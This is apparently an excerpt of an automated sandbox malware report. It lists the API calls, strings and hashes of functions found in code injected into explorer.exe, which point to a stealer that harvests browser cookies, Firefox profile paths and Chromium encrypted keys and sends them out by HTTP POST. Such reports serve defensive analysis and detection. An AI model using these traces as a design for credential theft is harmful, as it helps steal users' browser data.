wsprintfA.USER32 ref: 02752A38
lstrlen.KERNEL32(00000000), ref: 02752A44
lstrcat.KERNEL32(00000000,00000000), ref: 02752A6C
lstrlen.KERNEL32(00000000,?,?), ref: 02752A99

Strings

FALSE, xrefs: 02752A06
COOKIES, xrefs: 02752AA4, 02752AAB, 02752AB1
%sTRUE%s%s%s%s%s, xrefs: 02752A32
TRUE, xrefs: 02752A13

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: cc9a511a59ed76a60c4402e10913f1ff5b6642b264de3f9213f570a69d243f8b
Instruction ID: a4ba354b24cae671f05fca9275f407e16f08bb0d74391a943d8edb20a5b07744
Opcode Fuzzy Hash: cc9a511a59ed76a60c4402e10913f1ff5b6642b264de3f9213f570a69d243f8b
Instruction Fuzzy Hash: B351A1306043564BDB26EF309854B3FB7DAAFC5705F44482DFC89A7252DB75D8058B52

Function 02752CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

Part of subcall function 02751B6A: CreateFileW.KERNEL32(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,02752893,00000000,00000000,00000000,?), ref: 02751B82
Part of subcall function 02751B6A: CloseHandle.KERNEL32(00000000), ref: 02751B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 02752D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 02752D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,027A637C,?,00000FFF,?), ref: 02752D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 02752D7B
lstrlenW.KERNEL32(00000000), ref: 02752DD8

Strings

IsRelative, xrefs: 02752D75
Path, xrefs: 02752D62
Profile, xrefs: 02752D3F
profiles.ini, xrefs: 02752CCD

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: 22de6d4eb863e5c9146fe75a4ae211fe3b6cec6a97259710ec6dcade1479ac82
Instruction ID: aadf32fba26ea5bf9e544db5dfc01b3276b51e4df7f504425f3587a99c229d58
Opcode Fuzzy Hash: 22de6d4eb863e5c9146fe75a4ae211fe3b6cec6a97259710ec6dcade1479ac82
Instruction Fuzzy Hash: 0A31C2307443215BDA15AF31985473FF7A7AFC4711F44442EED0AA7282EBF588428B92

Function 02751333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

Part of subcall function 0275106C: lstrlen.KERNEL32(02D7713E,00000000,00000000,00000000,02751366,74DE8A60,02D7713E,00000000), ref: 02751074
Part of subcall function 0275106C: MultiByteToWideChar.KERNEL32(00000000,00000000,02D7713E,00000001,00000000,00000000), ref: 02751086

Part of subcall function 027512A3: RtlZeroMemory.NTDLL(?,00000018), ref: 027512B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 027513C2
wsprintfW.USER32 ref: 027514B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 02751594

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 027514FB
Accept: */*Referer: %S, xrefs: 027514AF
POST, xrefs: 02751465

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: feaaf7d497ac3526f395c48af897703d2d61a99115d4572c53097086d7e06442
Instruction ID: 8da5e1cfc1277e64a7ffec97dfc8a8cbf7978e191aacd0f3fda81c34a3a5fc6a
Opcode Fuzzy Hash: feaaf7d497ac3526f395c48af897703d2d61a99115d4572c53097086d7e06442
Instruction Fuzzy Hash: 047168B5A08311AFDB109F24D888A2BBBEDEF88355F44492DF959D3251DBB0D904CB92

Function 0275B1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 0275B31D
MapViewOfFile.KERNEL32(?,?,00000000,?,?), ref: 0275B34F

Strings

winShmMap3, xrefs: 0275B399
winShmMap1, xrefs: 0275B278
winShmMap2, xrefs: 0275B2CF

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 00438e8d62bc29cdc47648026274d36f2d5fa414b71102c793af29092b2128d0
Instruction ID: c5740d178df71049915ca372d92bce685e232cabeec9c0423f93493aaa77c169
Opcode Fuzzy Hash: 00438e8d62bc29cdc47648026274d36f2d5fa414b71102c793af29092b2128d0
Instruction Fuzzy Hash: F251BF71600751DFDB26CF18C855B2BB7E6FB88318F10992EEC869B254DBB0E815CB61

Function 0275A40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 0275A455
memcpy.NTDLL(?,?,?), ref: 0275A479
ReadFile.KERNEL32(?,?,?,?,?), ref: 0275A4DB
memset.NTDLL ref: 0275A546

Strings

winRead, xrefs: 0275A515

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 0403872fd334f1f5e50b7f527b24e6ac20c2380a5f0853a7d8f0c649afaa1dc4
Instruction ID: 6b4ae98c8cdd79bc52e49c1704a4b097e1393dc3f04d4feb6058e78a0cf2109b
Opcode Fuzzy Hash: 0403872fd334f1f5e50b7f527b24e6ac20c2380a5f0853a7d8f0c649afaa1dc4
Instruction Fuzzy Hash: 0431AD72604360AFC740DE68CC9899FB7E6EFC8310F845A28FD8597210D7B0ED048B92

Function 02752E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.SHLWAPI(?,?), ref: 02752E4B
RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 02752EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02752F54
RegCloseKey.KERNEL32(?), ref: 02752F62

Part of subcall function 027519E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A1E
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A3C
Part of subcall function 027519E5: RegQueryValueExW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A75
Part of subcall function 027519E5: RegCloseKey.KERNEL32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A98

Part of subcall function 02751BC5: lstrlenW.KERNEL32(00000000,00000000,?,02752E75,PathToExe,00000000,00000000), ref: 02751BCC
Part of subcall function 02751BC5: StrStrIW.SHLWAPI(00000000,.exe,?,02752E75,PathToExe,00000000,00000000), ref: 02751BF0
Part of subcall function 02751BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,02752E75,PathToExe,00000000,00000000), ref: 02751C05
Part of subcall function 02751BC5: lstrlenW.KERNEL32(00000000,?,02752E75,PathToExe,00000000,00000000), ref: 02751C1C

Part of subcall function 02751AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,02752E83,PathToExe,00000000,00000000), ref: 02751B16

Strings

PathToExe, xrefs: 02752E5E

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: 6a616e03a967c715dfb747453ca6600745c11e77cc2e9580f03282dd0a84c903
Instruction ID: a9e620e3b70d3621b933c16c3f5a5f7073149e10b219625d2d2b1b065f2be487
Opcode Fuzzy Hash: 6a616e03a967c715dfb747453ca6600745c11e77cc2e9580f03282dd0a84c903
Instruction Fuzzy Hash: 67316D71604261AF9B16AF21CC18D7FBAAAEFC4750B04851DFC5997280EFB4C906CFA1

Function 0275A67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 0275A6AD
_allmul.NTDLL(00000000,?,?), ref: 0275A6B6
SetEndOfFile.KERNEL32(?), ref: 0275A6F3

Strings

winTruncate1, xrefs: 0275A6DF
winTruncate2, xrefs: 0275A717

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: 10549e9732466ed38f6a6a931e4e9cc6bd1e476a98f7d27c07a30eb64940bd80
Instruction ID: 678b7f5f864f868d37796b55664321a9a9b26325c5d3df6e0376ae70d4b4ad03
Opcode Fuzzy Hash: 10549e9732466ed38f6a6a931e4e9cc6bd1e476a98f7d27c07a30eb64940bd80
Instruction Fuzzy Hash: F421D172600225ABDF148F2DCCA4E6BB7AAEF84310F418679FD04DB245D7B5D810CBA1

Function 02754A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

wsprintfW.USER32 ref: 02754AA2
RegCreateKeyExW.KERNEL32(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 02754AC7
RegCloseKey.KERNEL32(?), ref: 02754AD4

Strings

%s\%08x, xrefs: 02754A9C
Software, xrefs: 02754A95

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: 504d5ded76017218c9f014676f1e4da9ac3794881dfb088128a751416e07f496
Instruction ID: 42d3d70fdedf42e416a7e012fe966ccfb7cc8309747a0adb4d32ce5447db75bc
Opcode Fuzzy Hash: 504d5ded76017218c9f014676f1e4da9ac3794881dfb088128a751416e07f496
Instruction Fuzzy Hash: EC01F771A40118BFEB189F54DC4AEBFBBADEB81354B44016EF909A3140E7B05D50D664

Function 02754317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 0275431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 02754335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 02754363
RegCloseKey.ADVAPI32(?), ref: 027543C8

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

Part of subcall function 0275418A: wsprintfW.USER32 ref: 02754212

Part of subcall function 02751011: GetProcessHeap.KERNEL32(00000000,00000000,?,02751A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2), ref: 02751020
Part of subcall function 02751011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 027543B9

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 88bbcc94f2c2cc2b389a7b38a2251dbdcca15f31a5f36ec96dfbf58c4f2a08f9
Instruction ID: 5d10823948c77eed8fd84b5278dc78f4378aa157a145f4ba4a0a23f27c9a7251
Opcode Fuzzy Hash: 88bbcc94f2c2cc2b389a7b38a2251dbdcca15f31a5f36ec96dfbf58c4f2a08f9
Instruction Fuzzy Hash: 0A1186B15042117FE7159F10DC59DBFB7DDEF84314F044A2DF849D2150EBB49D489A62

Function 0275B87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0275B8D5
CreateFileW.KERNEL32(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 0275B96F

Strings

winOpen, xrefs: 0275BA22
psow, xrefs: 0275BA95

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: a6f5702db1640e3fa9c7ac50bde9664745fafc5f50f8945bdf687304d56eb35a
Instruction ID: 352460e21b687e99cf7fff081949fb2fb567135d49f51078d7283b3ac05f4883
Opcode Fuzzy Hash: a6f5702db1640e3fa9c7ac50bde9664745fafc5f50f8945bdf687304d56eb35a
Instruction Fuzzy Hash: DA715C71A047219FD711DF24C88572AFBE5BF88728F005A2DF864A7284D7B4E954CF92

Function 027B9247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2747671125.00000000027B7000.00000040.80000000.00040000.00000000.sdmp, Offset: 027B7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_27b7000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3630c40df3110ee09b219fad5869862f09d38708a96374ed10907fbfa5b2522
Instruction ID: d58128291962139d7e79c7dab109ac6701168f60ccfcb2990cf855ee67909e5d
Opcode Fuzzy Hash: d3630c40df3110ee09b219fad5869862f09d38708a96374ed10907fbfa5b2522
Instruction Fuzzy Hash: 1EA119B2954752DFD7228E78DCC47E1BBA5EF42224B1C066DC7F19B2C2E760540ACB61

Function 027519E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A1E
RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A3C
RegQueryValueExW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 02751A75
RegCloseKey.KERNEL32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751A98

Part of subcall function 02751011: GetProcessHeap.KERNEL32(00000000,00000000,?,02751A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2), ref: 02751020
Part of subcall function 02751011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751027

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: 1fec1e7a18f2744218fbc9ba68f07aa24d7deb1fd938f957e5b015fcc31eaf3b
Instruction ID: d212aa7d3500bccdd68b17703bf47e6c3d46f37807d9fac09f2e662dee735e81
Opcode Fuzzy Hash: 1fec1e7a18f2744218fbc9ba68f07aa24d7deb1fd938f957e5b015fcc31eaf3b
Instruction Fuzzy Hash: F421BF72604251AFEB268A21CD48F3BF7EDEBC875AF444A2DFD8D92140E7B0CD408661

Function 02751EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 02751ED5

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02751F0C
RegCloseKey.ADVAPI32(?), ref: 02751F98

Part of subcall function 02751953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
Part of subcall function 02751953: lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
Part of subcall function 02751953: lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02751F82

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 0391e2bf532a8850416e3a02b1b2b9fc2d2c9df71f85583e33eff7dfbdefdbc5
Instruction ID: ffe832b3b939fb73d2f5a9a1bd97aa8191423eb687c238aa4ba49b9577f3568c
Opcode Fuzzy Hash: 0391e2bf532a8850416e3a02b1b2b9fc2d2c9df71f85583e33eff7dfbdefdbc5
Instruction Fuzzy Hash: 1C21AE706083516FDB05AB20DC48E3BBBEEEFC8315F40892CF89D92140EBB4C8149B62

Function 02751C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,02753E1E,00000000,?,02753FA8), ref: 02751C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,02753FA8), ref: 02751C56
CloseHandle.KERNEL32(00000000,?,02753FA8), ref: 02751C91

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,02753FA8), ref: 02751C76

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 5e354f38dcd3f2209cc261e7afc45fb7830be93dbe3eae28f30c23f55598f7a0
Instruction ID: e87d71547d40ea589f0775a12b85f9b008a14cbc089627d5196c1d61cc138661
Opcode Fuzzy Hash: 5e354f38dcd3f2209cc261e7afc45fb7830be93dbe3eae28f30c23f55598f7a0
Instruction Fuzzy Hash: CAF028322012287BD6201A25DC8CF7BBB5CDB826FBF160718FC1E921C0FBA368515171

Function 02752FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(00000000,"encrypted_key":",00000000,00000000,00000000,02753E30,00000000,00000000,?,02753FA8), ref: 02752FC1
lstrlen.KERNEL32("encrypted_key":",?,02753FA8), ref: 02752FCE
StrStrIA.SHLWAPI("encrypted_key":",027A692C,?,02753FA8), ref: 02752FDD

Part of subcall function 0275190B: lstrlen.KERNEL32(?,?,?,?,00000000,02752783), ref: 0275192B
Part of subcall function 0275190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,02752783), ref: 02751930
Part of subcall function 0275190B: lstrcat.KERNEL32(00000000,?), ref: 02751946
Part of subcall function 0275190B: lstrcat.KERNEL32(00000000,00000000), ref: 0275194A

Strings

"encrypted_key":", xrefs: 02752FBA, 02752FBF, 02752FCD, 02752FDC

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: b10946c4346c4e687d8f341b1c70b1f2e02602d1b55e4f84ecafeae2a7625801
Instruction ID: 9ab23b1c75348fc98a9fd0eb436efe55b191736d33191b6378c98497d9b649ea
Opcode Fuzzy Hash: b10946c4346c4e687d8f341b1c70b1f2e02602d1b55e4f84ecafeae2a7625801
Instruction Fuzzy Hash: 12E02222F4A6745F9B266BB56C98847BF0CAE8312530D4068EE0283143DFE28802D7A4

Function 0275BAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 0275BB40

Strings

winDelete, xrefs: 0275BB6A

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 63c0095ae49b3290db55ccb4b3f65058a951121a8f4638c4c7f4a52e37c46213
Instruction ID: 50b8387e8b343e317420c172dd21f20e8f662194b79f7e5aeb5092005e0ccd99
Opcode Fuzzy Hash: 63c0095ae49b3290db55ccb4b3f65058a951121a8f4638c4c7f4a52e37c46213
Instruction Fuzzy Hash: 7B110831E00A28EB9B12AB78C855D7DF776DB81768F105629EC06E728CDBF09901CB52

Function 02752EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02751011: GetProcessHeap.KERNEL32(00000000,00000000,?,02751A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2), ref: 02751020
Part of subcall function 02751011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2,PortNumber,00000000,00000000), ref: 02751027

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 02752EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02752F54
RegCloseKey.KERNEL32(?), ref: 02752F62

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 3e5f9449f18d186f71ab9ca5cb5fbd1ba62fdf30f40601ac7113e207e0e95ba1
Instruction ID: 0c9dfd2da33a507fb95c6feb8707ef2c8b2e5556d11f095d36070666d72cb37e
Opcode Fuzzy Hash: 3e5f9449f18d186f71ab9ca5cb5fbd1ba62fdf30f40601ac7113e207e0e95ba1
Instruction Fuzzy Hash: 01014F31244260AB8A16AB21DC08E6FBBAAEFC5351B05442DFC5DA2180DB758955DBA1

Function 02754B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02754B74
CoUninitialize.COMBASE ref: 02754B83
ExitProcess.KERNEL32 ref: 02754B8B

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 6771aa9b63f293ca7a4cfa3370bc010133382d742e1dd9b9a59c3e0b6527f419
Instruction ID: 4c596b9c6cb6269d47245c00fcae6c26bf9f1aa63aed505947c33496ab21807a
Opcode Fuzzy Hash: 6771aa9b63f293ca7a4cfa3370bc010133382d742e1dd9b9a59c3e0b6527f419
Instruction Fuzzy Hash: C0C04C35B841105BEE802FE09C1D70A7A59AB80B23F088804F605C50C0DBB040518A26

Function 02759FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00BD0000,00000000), ref: 02759FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 0275A00E

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 0f721904734d532599e2da97b1f5ff61cf8c5a0d62a3fb05e6704fd9b7129f5e
Instruction ID: ea15d8042f81026be6a93536d8e3c67af0c6f1453c92cdea9e75cbde25cf03c1
Opcode Fuzzy Hash: 0f721904734d532599e2da97b1f5ff61cf8c5a0d62a3fb05e6704fd9b7129f5e
Instruction Fuzzy Hash: B8F04672A44320FAE7311950EC88F27E79CDF8A785F108829FE4A96180F3F16C018370

Function 02751AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,02752E83,PathToExe,00000000,00000000), ref: 02751B16

Part of subcall function 02751011: GetProcessHeap.KERNEL32(00000000,00000000,?,02751A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,02751AE2), ref: 02751020
